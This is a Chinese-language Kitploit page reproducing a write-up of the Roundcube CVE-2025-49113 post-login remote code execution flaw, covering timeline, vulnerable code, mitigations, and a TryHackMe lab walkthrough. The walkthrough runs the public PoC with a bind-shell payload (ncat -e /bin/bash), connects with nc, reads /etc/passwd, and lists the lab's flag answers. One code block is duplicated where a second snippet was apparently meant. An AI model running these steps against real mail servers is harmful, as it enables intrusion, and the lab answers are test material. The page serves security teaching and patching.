Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Roundcube_CVE-2025-49113 — 解释 + THM实验室 | Kitploit
工具/GitHubGitHub/5kr1pt/roundcube_cve-2025-49113
漏洞分析漏洞利用ShellcodeWeb应用程序漏洞利用CTF渗透测试学习与教育Payload 开发实验室与实践
GitHub5kr1pt/roundcube_cve-2025-49113

Roundcube_CVE-2025-49113

解释 + THM实验室

查看仓库
31年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

在 Roundcube 中的 RCE (CVE-2025-49113) - 我的 Obsidian 笔记 .md

{{date}} {{time}}

状态: 完成

实验室: 简单

标签: [[RCE]] | [[PHP]] | [[LAB_THM]] | [[EXPLOIT]] | [[CVE]]

作者: KRPT Paulo G. Werneck - Linkedin - in.com/pgw-script


影响: 登录后远程命令执行 (CVSS 9.9)
受影响版本: ≤ 1.5.10 / 1.6.10
已修复: 1.5.11 和 1.6.11


1 – 时间线

日期事件
~2014引入了路径 program/actions/settings/upload.php,并在其中使用了 session->append() 且未进行验证。
2025年6月3日@FearsOff 的研究人员发布了公告并宣布了 PoC。
2025年6月4日Roundcube 应用了 提交 0376f69 (1.6-stable) 和 提交 7408f31 (1.5-lts)。
2025年6月6日PoC 发布在 GitHub 上。 (fearsoff-org/CVE-2025-49113)
2025年6月10日大规模利用。

2 – 问题所在

易受攻击的代码 (1.6.10)

root@kitploit:~
// program/actions/settings/upload.php 
$from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);
$type = preg_replace('/(add|edit)-/', '', $from);

// … 再往下
$rcmail->session->append($type . '.files', $id, $attachment);

输入 _from 完整地来自 GET 请求,然后成为会话中节点名称的一部分,
在第一次 append() 期间,Roundcube 执行:

root@kitploit:~
// program/actions/settings/upload.php

$from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);

$type = preg_replace('/(add|edit)-/', '', $from);

// … 再往下

$rcmail->session->append($type . '.files', $id, $attachment);

如果文件存在,则 RCE 成功。


3 – 缓解措施

  1. 立即更新 至 ≥ 1.6.11 或 ≥ 1.5.11。

  2. 如果无法更新,请通过 WAF、防火墙或重写规则阻止任何包含 %22、%7C、!、. 或控制字节的 _from。

  3. 在 php.ini 中禁用危险函数(proc_open、exec 等)。

  4. 阻止在设置面板上传文件并监控日志。


4 - 实验室 - TryHackme - WriteUp

免费房间: https://tryhackme.com/room/roundcubecve202549113

由 tryhackme 和 strategos 创建

1. 信息收集

  1. 启动 VM (MACHINE_IP) 和 AttackBox。

  2. 使用以下凭据访问 http://MACHINE_IP/roundcube:

    用户: ellieptic 密码: ChangeMe123

    这将成功并正常登录:

    登录界面


2. 构建利用代码

确认一切正常运行后,我们将执行利用代码。为此,访问之前提到的 GitHub 上发布的 PoC 并进行 gitclone:

root@kitploit:~
mkdir tmp
cd tmp
git clone https://github.com/fearsoff-org/CVE-2025-49113
cd CVE-2025-49113

利用代码


3. 准备 Payload

Payload 的使用很简单,只需创建一个绑定 shell 并指向一个端口,同时使用 .php 文件,按照以下用法操作:

php CVE-2025-49113.php <站点> <用户> <密码> "<绑定 shell>"

php CVE-2025-49113.php http://MACHINE_IP/roundcube ellieptic ChangeMe123 "ncat -lvnp 1337 -e /bin/bash"

– 该脚本会登录,将恶意 PHP 对象注入到 _from 参数中,正如我们之前所说,调用 upload.php 端点,然后强制注销以触发
session_decode() → unserialize() → proc_open()。

有时它会显示 CSRF 错误;忽略它并继续下一步,
因为命令通常仍然执行成功。

利用代码


4. 连接 Shell

如果绑定 shell 成功,它正在我们指定的端口 1337 上监听,现在只需连接到它:

nc MACHINE_IP 1337

获取 Shell。

Shell


5. 回答问题

问题与答案

  1. 用户 Maggie
    问题: 其中一个用户的名字是 Maggie。她的姓氏是什么?
    答案: Byte

要解决这个问题,我们可以通过 cat /etc/passwd 并 grep Maggie 的用户,或者简单地在 /home 下执行 ls。

1

  1. /etc 中的 Flag
    问题: 保存在 /etc 中的标志值是多少?
    答案: THM{ICE_CUBE_DESERIALISATION}

为了解决这个问题,我执行了 cat /etc/flag*,幸运的是文件名就是 flag,从而成功捕获。

2


5 – 参考

  • 提交 1.6.11 – https://github.com/roundcube/roundcubemail/commit/0376f69e958a8fef7f6f09e352c541b4e7729c4d

  • 提交 1.5.11 – https://github.com/roundcube/roundcubemail/commit/7408f31379666124a39f9cb1018f62bc5e2dc695

  • FearsOff 分析文章 – https://fearsoff.org/research/roundcube

  • OffSec 博客 – https://www.offsec.com/blog/cve-2025-49113/ offsec.com

  • TryHackme - TryHackMe | Roundcube: CVE-2025-49113

  • GHSA 公告 – https://github.com/advisories/GHSA-8j8w-wwqc-x596 github.com

下载工具